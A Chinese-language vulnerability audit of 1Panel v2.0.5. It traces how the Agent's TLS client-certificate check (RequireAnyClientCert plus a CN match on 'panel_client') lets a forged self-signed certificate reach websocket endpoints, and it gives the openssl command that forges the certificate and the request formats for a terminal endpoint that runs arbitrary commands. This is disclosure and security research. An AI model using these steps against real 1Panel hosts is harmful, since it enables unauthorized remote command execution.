项目地址：项目地址 1Panel

官网：https://www.1panel.cn/

时间：2025 07 26

版本：1panel V2.0.5

漏洞简述

• 首先引入1panel v2 Core端与Agent端的概念，新版本发布后，1panel增加了节点管理的功能，可以通过添加节点来控制其他的主机。
• 而Core端与Agent端通讯所使用的https协议，在证书校验中未完全校验证书的真实性导致接口未授权。1panel中由于存在大量命令执行或高权限的接口，导致RCE。

代码审计过程

1. 首先我们进入到Agent HTTP路由文件agent/init/router/router.go

2. 发现Routers函数中引用Certificate函数进行了全局校验agent/middleware/certificate.go

3. 发现Certificate函数判断了c.Request.TLS.HandshakeComplete是否进行了证书通讯

4. 由于c.Request.TLS.HandshakeComplete的真假判断是通过agent/server/server.go代码Start函数中的tls.RequireAnyClientCert来判断的

注：此处由于使用tls.RequireAnyClientCert而不是tls.RequireAndVerifyClientCert，RequireAnyClientCert只要求客户端提供证书，不验证证书的签发CA，所以任何自签名证书都能通过TLS握手。

5. 后续进入Certificate函数中的其他判断，只验证了证书CN字段为panel_client，未验证证书签发者。最后发现WebSocket连接可以绕过Proxy-ID验证。

6. 项目中存在大量的websocket接口。

• Process WebSocket 接口（根据上述问题可获取所有的进程等敏感信息）
  路由地址: /process/ws
  请求格式如下

{
  "type": "ps",           // 数据类型: ps(进程), ssh(SSH会话), net(网络连接), wget(下载进度)
  "pid": 123,             // 可选，指定进程ID进行筛选
  "name": "process_name", // 可选，根据进程名筛选
  "username": "user"      // 可选，根据用户名筛选
}

• Terminal SSH WebSocket 接口（根据上述问题可执行任意命令）
  路由地址: /hosts/terminal
  请求格式如下

{
  "type": "cmd",
  "data": "d2hvYW1pCg=="  // "whoami" 的base64编码，记住不要忘记回车。
}

• Container Terminal WebSocket 接口（容器执行命令接口）
  路由地址: /containers/terminal

• File Download Process WebSocket 接口（自动推送下载进度信息）
  路由地址: /files/wget/process

攻击过程

1. 首先生成伪造证书
   openssl req -x509 -newkey rsa:2048 -keyout panel_client.key -out panel_client.crt -days 365 -nodes -subj "/CN=panel_client"

2. 然后使用证书请求验证，如果成功连接websocket接口则存在漏洞